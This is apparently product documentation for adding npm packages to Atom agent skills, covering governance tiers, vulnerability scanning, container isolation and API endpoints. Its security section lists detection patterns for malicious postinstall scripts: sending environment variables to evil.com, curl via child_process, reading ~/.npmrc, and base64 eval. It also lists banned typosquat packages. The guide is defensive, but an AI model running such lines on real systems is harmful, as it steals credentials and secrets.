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npm Packages in Skills - User Guide

Add lodash, express, axios, and other npm packages to your skills with automatic installation, security scanning, and isolated execution

Last Updated: February 19, 2026

Table of Contents

  1. Overview
  2. Quick Start
  3. Package Version Format
  4. Governance Rules
  5. Security Features
  6. Installation Workflow
  7. API Usage
  8. Troubleshooting
  9. Best Practices
  10. Examples
  11. See Also

Overview

Atom skills can now specify Node.js/npm packages (e.g., lodash, express, axios) in their SKILL.md files, with automatic installation in isolated Docker containers, permission checks, and security scanning.

Key Features:

  • Per-Skill Isolation - Each skill gets its own Docker image with dedicated node_modules (no conflicts)
  • Vulnerability Scanning - Automatic CVE detection before installation using npm audit + Snyk
  • Governance Integration - Maturity-based access control (STUDENT blocked, INTERN requires approval)
  • Container Security - Network disabled, read-only filesystem, resource limits
  • Postinstall Script Blocking - Automatic --ignore-scripts flag prevents Shai-Hulud/Sha1-Hulud attacks
  • Audit Trail - All package operations logged for compliance

Performance:

  • Installation: <5min for typical packages (lodash, express)
  • Permission checks: <1ms via GovernanceCache
  • Execution overhead: <500ms

Why npm Support?

The npm ecosystem has 2M+ packages, matching OpenClaw's capabilities for Node.js skills. Atom's npm package support provides the same security and governance as Python packages, with npm-specific threat mitigation (postinstall scripts, typosquatting, dependency confusion).

Quick Start

Adding npm Packages to Your Skill

  1. Edit your SKILL.md file:
---
name: "Data Processing Skill"
description: "Process data using Lodash"
skill_type: nodejs_code
node_packages:
  - lodash@4.17.21
  - axios@^1.6.0
package_manager: npm  # Optional: npm (default), yarn, or pnpm
---

const _ = require('lodash');
const axios = require('axios');

async function process(query) {
    const data = _.map(query.split(','), Number);
    return _.sum(data);
}

process(inputs.query || '1,2,3,4,5');
  1. Import and use your skill:
from core.skill_adapter import CommunitySkillTool

tool = CommunitySkillTool(
    name="Data Processing",
    skill_type="nodejs_code",
    code="const _ = require('lodash'); _.sum([1,2,3]);",
    node_packages=["lodash@4.17.21", "axios@^1.6.0"]
)

result = tool._run(query="1,2,3,4,5")
  1. Atom automatically:
    • Checks agent permissions for each package
    • Scans for postinstall scripts (blocks malicious patterns)
    • Runs vulnerability scanning (npm audit + Snyk)
    • Builds dedicated Docker image with node_modules
    • Executes skill in isolated container
    • Cleans up unused images

Complete Workflow Example

# 1. Check npm package permission
curl -X GET "http://localhost:8000/api/packages/npm/check?agent_id=agent_789&package_name=lodash&version=4.17.21"

# Response: {"allowed": true, "maturity_required": "intern", "reason": null}

# 2. Install npm packages for skill
curl -X POST http://localhost:8000/api/packages/npm/install \
  -H "Content-Type: application/json" \
  -d '{
    "agent_id": "agent_789",
    "skill_id": "data-analysis-skill",
    "packages": ["lodash@4.17.21", "axios@^1.6.0"],
    "package_manager": "npm"
  }'

# Response: {"success": true, "image_tag": "atom-npm-skill:data-analysis-skill-v1"}

# 3. Execute skill with packages
curl -X POST http://localhost:8000/api/packages/npm/execute \
  -H "Content-Type: application/json" \
  -d '{
    "agent_id": "agent_789",
    "skill_id": "data-analysis-skill",
    "code": "const _ = require(\"lodash\"); _.sum([1,2,3]);",
    "inputs": {}
  }'

# Response: {"success": true, "output": "6", "execution_time_ms": 234}

Package Version Format

npm packages use semantic versioning with flexible range specifiers:

Version Formats

Format Example Description Recommended
Exact lodash@4.17.21 Exact version only ✅ Yes (production)
Caret axios@^1.6.0 Compatible with 1.6.0+ (minor/patch updates) ⚠️ Testing only
Tilde express@~4.18.0 Patch updates only (4.18.x) ⚠️ Testing only
Greater moment@>=2.29.0 Minimum version ❌ Avoid
Wildcard chalk@* Latest version ❌ Avoid (security risk)
Latest lodash@latest Always latest ❌ Avoid (security risk)

Scoped Packages

node_packages:
  - @babel/core@7.23.0
  - @types/node@^20.0.0
  - @typescript-eslint/parser@^6.0.0

Package Manager Selection

# npm (default)
package_manager: npm

# yarn (faster installs, PnP mode)
package_manager: yarn

# pnpm (strict dependency isolation, highest security)
package_manager: pnpm

Recommendation: Use exact versions (e.g., lodash@4.17.21) for production skills to ensure reproducible builds and prevent supply chain attacks.

Governance Rules

Maturity-Based Access Control

Agent Level npm Packages Justification
STUDENT ❌ Blocked Educational restriction - learn fundamentals first
INTERN ⚠️ Approval Required Human review for each package version
SUPERVISED ✅ Conditional Real-time monitoring, auto-approved packages only
AUTONOMOUS ✅ Conditional Full execution, respects banned package list

Permission Check Flow

1. Check GovernanceCache (<1ms lookup)
   └─ Cache HIT: Return cached decision
   └─ Cache MISS: Query database

2. Check PackageRegistry table
   └─ Package status: banned → BLOCK for all agents
   └─ Package status: active → Check maturity requirements
   └─ Package status: untrusted → Require approval

3. Check agent maturity
   └─ STUDENT → BLOCK (npm packages restricted)
   └─ INTERN → Require approval
   └─ SUPERVISED/AUTONOMOUS → Allow if min_maturity satisfied

4. Cache decision (60-second TTL)

Cache Performance

  • Hit Rate: >95% for repeated checks
  • Latency: <1ms P99 (cached), <50ms P99 (database)
  • Throughput: 600k+ ops/sec

Whitelist/Blocklist

Approved Packages (examples):

  • lodash@4.17.21 - min_maturity: INTERN
  • axios@1.6.0 - min_maturity: INTERN
  • express@4.18.2 - min_maturity: SUPERVISED

Banned Packages (examples):

  • exprss@* - Typosquatting attack package
  • crossenv@* - Malicious postinstall scripts (CVE-2021-23362)
  • babelcli@* - Known malicious package

Security Features

Postinstall Script Blocking

Threat: Shai-Hulud/Sha1-Hulud attacks (Sept/Nov 2025) - 700+ npm packages infected with postinstall credential stealers, 25K+ repositories affected.

Mitigation:

  • All npm installs use --ignore-scripts flag
  • Pre-installation script analysis detects malicious patterns
  • Suspicious packages blocked before installation

Protected Against:

// These patterns are detected and BLOCKED:
- fetch('https://evil.com/steal?data=' + JSON.stringify(process.env))
- require('child_process').exec('curl https://evil.com')
- fs.readFile('~/.npmrc', 'utf8')  // Credential theft
- eval(Buffer.from('...', 'base64').toString())  // Obfuscated payload

Vulnerability Scanning

npm audit (free, built-in):

  • Checks npm Advisory Database
  • Scans transitive dependencies
  • Returns CVE details with severity levels

Snyk (commercial, optional):

  • Commercial vulnerability database
  • Fix recommendations
  • License compliance checking

Scan Results:

{
  "safe": false,
  "vulnerabilities": [
    {
      "cve_id": "CVE-2021-23437",
      "severity": "HIGH",
      "package": "lodash",
      "affected_versions": "<4.17.21",
      "advisory": "Prototype Pollution attack",
      "source": "npm-audit"
    }
  ],
  "dependency_tree": {
    "lodash": "4.17.20",
    "lodash/node_modules": {}
  }
}

Container Security

Docker Security Constraints:

  • ✅ network_disabled=True - No outbound/inbound network
  • ✅ read_only=True - No filesystem modifications
  • ✅ mem_limit=256m - Memory cap (resource exhaustion prevention)
  • ✅ cpu_quota=0.5 - CPU limit (50% of one core)
  • ✅ timeout=30s - Execution timeout (infinite loop prevention)
  • ✅ auto_remove=True - Ephemeral containers
  • ✅ USER nodejs (UID 1001) - Non-root user
  • ✅ --cap-drop=ALL - No Linux capabilities

Protected Against:

  • Container escape (Docker socket access, privileged mode)
  • Resource exhaustion (fork bombs, memory bombs)
  • Data exfiltration (network access blocked)
  • Malware persistence (read-only filesystem)

Installation Workflow

Step-by-Step Process

1. Permission Check

# <1ms via GovernanceCache
governance.check_npm_package_permission(
    agent_id="agent_789",
    package_name="lodash",
    version="4.17.21",
    db=session
)
# Returns: {"allowed": true, "maturity_required": "intern", "reason": None}

2. Script Analysis

# Pre-installation check for malicious postinstall scripts
analyzer = NpmScriptAnalyzer()
result = analyzer.analyze_package_scripts(
    packages=["lodash@4.17.21"],
    package_manager="npm"
)
# Returns: {"malicious": false, "warnings": [], "scripts_found": []}

3. Vulnerability Scan

# npm audit + Snyk scan
scanner = NpmDependencyScanner(snyk_api_key=os.getenv("SNYK_API_KEY"))
result = scanner.scan_packages(
    packages=["lodash@4.17.21"],
    package_manager="npm"
)
# Returns: {"safe": true, "vulnerabilities": [], "dependency_tree": {...}}

4. Docker Image Build

# Install packages in dedicated image
installer = NpmPackageInstaller()
result = installer.install_packages(
    skill_id="data-analysis-skill",
    packages=["lodash@4.17.21", "axios@^1.6.0"],
    package_manager="npm"
)
# Returns: {"success": true, "image_tag": "atom-npm-skill:data-analysis-skill-v1"}

5. Skill Execution

# Execute in isolated container
sandbox = HazardSandbox()
output = sandbox.execute_nodejs(
    code="const _ = require('lodash'); _.sum([1,2,3]);",
    inputs={},
    image="atom-npm-skill:data-analysis-skill-v1"
)
# Returns: "6"

Docker Image Management

Image Tag Format:

atom-npm-skill:{skill_id}-v{version}

Example:

atom-npm-skill:data-analysis-skill-v1
atom-npm-skill:http-request-skill-v2

Image Cleanup:

# List skill images
docker images | grep atom-npm-skill

# Remove old images (periodic maintenance)
docker image prune -a --filter "until=72h"

API Usage

Governance Endpoints

Check Package Permission

GET /api/packages/npm/check?agent_id={agent_id}&package_name={name}&version={version}

Response:

{
  "allowed": true,
  "maturity_required": "intern",
  "reason": null
}

Request Package Approval

POST /api/packages/npm/request
Content-Type: application/json

{
  "agent_id": "agent_789",
  "package_name": "express",
  "version": "4.18.2",
  "justification": "Need for HTTP server skill"
}

Approve Package (Admin)

POST /api/packages/npm/approve
Content-Type: application/json

{
  "package_name": "express",
  "version": "4.18.2",
  "min_maturity": "supervised"
}

Ban Package (Admin)

POST /api/packages/npm/ban
Content-Type: application/json

{
  "package_name": "crossenv",
  "version": "*",
  "reason": "Known malicious postinstall scripts (CVE-2021-23362)"
}

Installation Endpoints

Install Packages

POST /api/packages/npm/install
Content-Type: application/json

{
  "agent_id": "agent_789",
  "skill_id": "data-analysis-skill",
  "packages": ["lodash@4.17.21", "axios@^1.6.0"],
  "package_manager": "npm"
}

Execute Skill with Packages

POST /api/packages/npm/execute
Content-Type: application/json

{
  "agent_id": "agent_789",
  "skill_id": "data-analysis-skill",
  "code": "const _ = require('lodash'); _.sum([1,2,3]);",
  "inputs": {}
}

Cleanup Skill Image

DELETE /api/packages/npm/{skill_id}

Get Skill Image Status

GET /api/packages/npm/{skill_id}/status

Audit Trail

GET /api/packages/npm/audit?agent_id={agent_id}&skill_id={skill_id}

Troubleshooting

Common Errors

Error Cause Solution
Permission denied STUDENT agent attempting npm package use Use INTERN+ maturity agent
Package not approved Package not in PackageRegistry Submit approval request
Package is banned Package has security vulnerability Use alternative package
Malicious scripts detected Postinstall/preinstall scripts contain malicious patterns Review package, use --ignore-scripts
Vulnerabilities found npm audit detected CVEs Update package version
Installation timeout Large dependency tree or network issues Increase timeout, check network
Image build failed Invalid package or version Verify package name and version

Debug Tips

Check Governance Status:

curl -X GET "http://localhost:8000/api/packages/npm/check?agent_id=agent_789&package_name=lodash&version=4.17.21"

View Audit Logs:

curl -X GET "http://localhost:8000/api/packages/npm/audit?agent_id=agent_789"

Check Docker Images:

docker images | grep atom-npm-skill
docker logs <container_id>

Enable Debug Logging:

import logging
logging.getLogger("core.npm_package_installer").setLevel(logging.DEBUG)

Finding Logs

Application Logs:

  • Location: logs/atom.log
  • npm installer: grep "NpmPackageInstaller" logs/atom.log
  • Script analyzer: grep "NpmScriptAnalyzer" logs/atom.log

Docker Logs:

# View container logs
docker logs atom-npm-skill-<container_id>

# Follow logs in real-time
docker logs -f atom-npm-skill-<container_id>

Best Practices

1. Version Pinning

✅ DO: Use exact versions

node_packages:
  - lodash@4.17.21
  - axios@1.6.0

❌ DON'T: Use wildcards

node_packages:
  - lodash@latest  # Unpredictable updates
  - axios@*        # Security risk

2. Package Selection

✅ DO: Use popular, well-maintained packages

node_packages:
  - lodash@4.17.21      # 39M weekly downloads
  - axios@1.6.0         # 33M weekly downloads
  - express@4.18.2      # 22M weekly downloads

❌ DON'T: Use obscure packages

node_packages:
  - unknown-package@1.0.0  # <100 downloads, suspicious
  - exprss@4.17.1          # Typosquatting (misspelled)

3. Security Scanning

Always enable vulnerability scanning:

result = installer.install_packages(
    skill_id="my-skill",
    packages=["lodash@4.17.21"],
    scan_for_vulnerabilities=True  # ✅ Always true
)

Configure Snyk for enhanced scanning:

# .env
SNYK_API_KEY=your-snyk-api-key

4. Package Manager Choice

Manager Use When Benefits
npm Default, broad compatibility Most common, stable
yarn Monorepos, PnP mode needed Faster installs, strict resolution
pnpm High security required Strictest isolation, prevents phantom deps

5. Minimize Dependencies

✅ DO: Use minimal packages

node_packages:
  - axios@1.6.0  # 3 dependencies

❌ DON'T: Use heavy frameworks

node_packages:
  - mongoose@8.0.0  # 25+ dependencies

Examples

Example 1: Data Processing with Lodash

SKILL.md:

---
name: "Array Statistics"
description: "Calculate statistics on arrays using Lodash"
skill_type: nodejs_code
node_packages:
  - lodash@4.17.21
---

const _ = require('lodash');

const data = inputs.data || [1, 2, 3, 4, 5];

return {
  sum: _.sum(data),
  mean: _.mean(data),
  min: _.min(data),
  max: _.max(data),
  sorted: _.sortBy(data)
};

Usage:

tool = CommunitySkillTool(
    name="Array Statistics",
    skill_type="nodejs_code",
    code=code,  # From SKILL.md above
    node_packages=["lodash@4.17.21"]
)

result = tool._run(inputs={"data": [10, 20, 30, 40, 50]})
# Returns: {"sum": 150, "mean": 30, "min": 10, "max": 50, "sorted": [10,20,30,40,50]}

Example 2: HTTP Requests with Axios

SKILL.md:

---
name: "HTTP Fetch"
description: "Fetch data from URLs using Axios"
skill_type: nodejs_code
node_packages:
  - axios@1.6.0
---

const axios = require('axios');

const url = inputs.url || 'https://api.github.com/users/github';

try {
  const response = await axios.get(url, {
    timeout: 5000,
    headers: {'User-Agent': 'Atom-Skill/1.0'}
  });

  return {
    status: response.status,
    data: response.data
  };
} catch (error) {
  return {
    error: error.message,
    status: error.response?.status
  };
}

Example 3: Web Server with Express

SKILL.md:

---
name: "Express Server"
description: "Start HTTP server with Express"
skill_type: nodejs_code
node_packages:
  - express@4.18.2
---

const express = require('express');
const app = express();

const port = inputs.port || 3000;

app.get('/', (req, res) => {
  res.json({message: 'Hello from Atom!'});
});

// Note: Server startup will be blocked by network isolation
// This example demonstrates package loading, not actual server execution

return {
  message: 'Express server configured',
  port: port,
  routes: ['GET /']
};

Example 4: Data Validation with Joi

SKILL.md:

---
name: "Schema Validation"
description: "Validate data using Joi schema"
skill_type: nodejs_code
node_packages:
  - joi@17.11.0
---

const Joi = require('joi');

const schema = Joi.object({
  username: Joi.string().alphanum().min(3).max(30).required(),
  email: Joi.string().email({ minDomainSegments: 2 }).required(),
  age: Joi.number().integer().min(18).max(99)
});

const data = inputs.data || {};

const { error, value } = schema.validate(data);

if (error) {
  return { valid: false, error: error.details[0].message };
}

return { valid: true, data: value };

See Also

Phase 36 Status: ✅ COMPLETE (February 19, 2026)

  • All 7 plans executed successfully
  • npm package support matches OpenClaw capabilities
  • Comprehensive security testing (40 tests, 100% pass rate)
  • Full governance integration with Python packages